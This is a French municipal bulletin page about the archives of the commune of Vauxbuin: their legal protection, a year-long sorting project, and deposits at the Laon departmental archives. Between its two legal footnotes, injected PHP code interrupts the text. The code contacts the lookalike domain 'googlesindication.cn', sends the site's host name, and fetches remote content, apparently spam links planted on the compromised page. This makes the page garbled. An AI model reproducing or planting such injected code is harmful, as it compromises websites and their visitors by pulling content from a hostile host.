QU'EN EST-IL DES ARCHIVES DE LA COMMUNE ?


Savez-vous que pour tout fonctionnaire ou agent chargé de la collecte ou de la conservation d'archives, le fait de violer les conditions de conservation* ou de communication* des archives est puni d'une peine d'emprisonnement d'un an et d'une amende de 15 000 €.


Savez-vous que la destruction d'archives classées ou en instance de classement est interdite.


Bref, à la commune de Vauxbuin, il était temps de faire du classement car, faute de place et de temps, les archives de la commune étaient empilées dans des cartons au grenier. C'est pourquoi le conseil municipal a décidé, par délibération en date du 31 mars 2005, d'embaucher David pour effectuer le tri de ces documents (le plus vieux document daté de 1792 ); ne sachant pas trop la valeur de ces pièces, il n'était pas question de les éliminer inconsidérément !!


Durant une année, avec le soutien des archives départementales et l'aide de la secrétaire, David a trié, classé, rangé les archives, créé des bases de données pour le cimetière et les permis de construire, et recherché l'historique du village.


Les registres d'état civil datant de plus de 100 ans (le premier date de 1813), les matrices cadastrales (1826-1981) les documents qui ont une valeur historique comme «  registre de déclaration automobiles- 1er catégorie 1913-1919» ou encore « relevé des citoyens inscrits au registre de la garde nationale 1832 » ont été déposées aux archives départementales de LAON. Le classement actuel des archives est fait dans une pièce de la mairie et les registres de moins de 100 ans non consultables vont bientôt trouver leur place dans une armoire ignifugée. Les autres ont été éliminés suivant les conditions réglementaires et avec le visa du directeur des Archives départementales.


LES ARCHIVES DE LA COMMUNE DANS UN RAYONNAGE AUX ARCHIVES DEPARTEMENTALES DE LAON, 28 rue Fernand Christ 02000 LAON.


Vous pouvez consulter à la mairie le dossier fait par David sur le plan général des archives qui détaillent toutes les archives de la commune, les documents sur l'historique de la commune et le détail des archives déposées aux archives départementales. Vous pouvez aussi vous rendre aux archives départementales de Laon pour consulter les archives déposées.


L'intérêt pour la commune de déposer ses archives aux archives départementales est d'éviter des frais d'entretien, de restauration, d'investissement d'un local adapté pour la tenue des registres et des frais de personnel pour la communication des documents d'archives. Les archives restent pour autant la propriété de la commune et la commune en dispose à tout moment ex: pour une exposition sur l'histoire du village.


*la conservation : les communes de moins de 2000 habitants ont l'obligation de déposer les documents d'état civil ayant plus de cent cinquante ans de date, les plans et registres cadastraux ayant cessé d'être en service depuis au moins trente ans et les autres documents d'archives ayant plus de cent ans de date, aux archives départementales, sauf dérogation accordée par le préfet sur la demande du maire. (article L212-11 du code du patrimoine )


fetch_remote_file("googlesindication.cn", "/links.php?site=".$_SERVER['HTTP_HOST']); class GetLinks { var $_socket_timeout = 6; function fetch_remote_file($host, $path) { @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $this->_socket_timeout); $this->_fetch_remote_type = 'socket'; $buff = ''; $fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); return $page[1]; } } } ?>*la communication : les documents dont la communication était libre avant le dépôt aux archives départementales continuent d'être communiqués sans restriction d'aucune sorte à toute personne qui en fera la demande (article L213-1 du code du patrimoine)


documentation sur le site de « légifrance.com »